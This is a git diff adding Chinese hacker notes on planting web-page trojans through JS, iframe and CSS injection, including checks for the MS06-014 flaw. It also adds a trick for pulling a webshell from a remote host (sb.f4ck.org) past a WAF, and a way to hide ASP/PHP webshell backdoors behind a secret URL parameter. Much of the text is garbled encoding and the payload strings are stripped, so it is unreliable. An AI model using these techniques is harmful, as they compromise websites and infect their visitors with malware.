"b/skill/\345\256\214\346\225\264\344\270\200\345\245\227\347\275\221\351\241\265\346\214\202\351\251\254\344\273\243\347\240\201.txt" new file mode 100644 index 0000000..1f043f1 --- /dev/null +++ "b/skill/\345\256\214\346\225\264\344\270\200\345\245\227\347\275\221\351\241\265\346\214\202\351\251\254\344\273\243\347\240\201.txt" @@ -0,0 +1,100 @@ +����һ����ҳ�������� +һ:��ܹ��� + +��:js�ļ����� +���Ƚ����´��� +document.write(""); +����Ϊxxx.js�� +��JS��������Ϊ + +��:js���μ��� + +muma.txt�ɸij������׺ +��:body���� + +��:���ι��� +top.document.body.innerHTML = top.document.body.innerHTML + '\r\n'; +��:css�й��� +body { +background-image: url('javascript:document.write("")')} +��:JAJA���� + +��:ͼƬαװ + + + + +��:αװ���ã� + + + + +ʮ:�߼���ƭ + ҳ��Ҫ��ʾ������ + +ʮһ:�ж�ϵͳ���� + +404 + + + + + +ʮ��:�ж��Ƿ���ms06014���� + +ʮ��:���ܶ�ȡjs�Ĵ���demo +//��Ȣsrc�Ķ��� +var v = document.getElementById("advjs"); +//��Ȣsrc�IJ��� +var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src')); +document.write(""); +document.writeln(""); +document.writeln(""); +document.writeln(""); +document.writeln("<\/HEAD>"); +document.writeln(" "); +document.writeln("
                            "); +document.writeln("
                            <\/DIV><\/DIV><\/BODY><\/HTML>") +//����src�IJ������� +function getUrlParameterAdv(asName,lsURL){ +loU = lsURL.split("?"); +if (loU.length>1){ +var loallPm = loU[1].split("&"); +for (var i=0; i1){ +return loPm[1]; +}else{ +return ""; +} +} +} +} +return null; \ No newline at end of file diff --git "a/skill/\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" "b/skill/\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" new file mode 100644 index 0000000..6bd93ba --- /dev/null +++ "b/skill/\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" @@ -0,0 +1,14 @@ +[法客二周年] + + +比如:URL=sb.f4ck.org/1.txt +内容为小马 +不需要开头的“" + +就会看到你喜欢的大马,小马,已在最新狗上测试 diff --git "a/skill/\347\275\221\351\251\254\344\275\277\347\224\250\350\257\267\350\260\250\346\205\216.txt" "b/skill/\347\275\221\351\251\254\344\275\277\347\224\250\350\257\267\350\260\250\346\205\216.txt" new file mode 100644 index 0000000..b429e9d --- /dev/null +++ "b/skill/\347\275\221\351\251\254\344\275\277\347\224\250\350\257\267\350\260\250\346\205\216.txt" @@ -0,0 +1,26 @@ +防止webshell后门 asp + +<%if request.queryString("xiaozhe") = "admin" then'%> //插到顶部 + +Response.Write(""); + +response.write "" + + +<%end if%>//插到底部 + +//访问时候要在文件后面加?xiaozhe=admin才可以访问 + +---------------------------------------------------- + +防止webshell后门 PHP + +alert('提示内容')"; + + + +//访问时候要在文件后面加?xiaozhe=admin才可以访问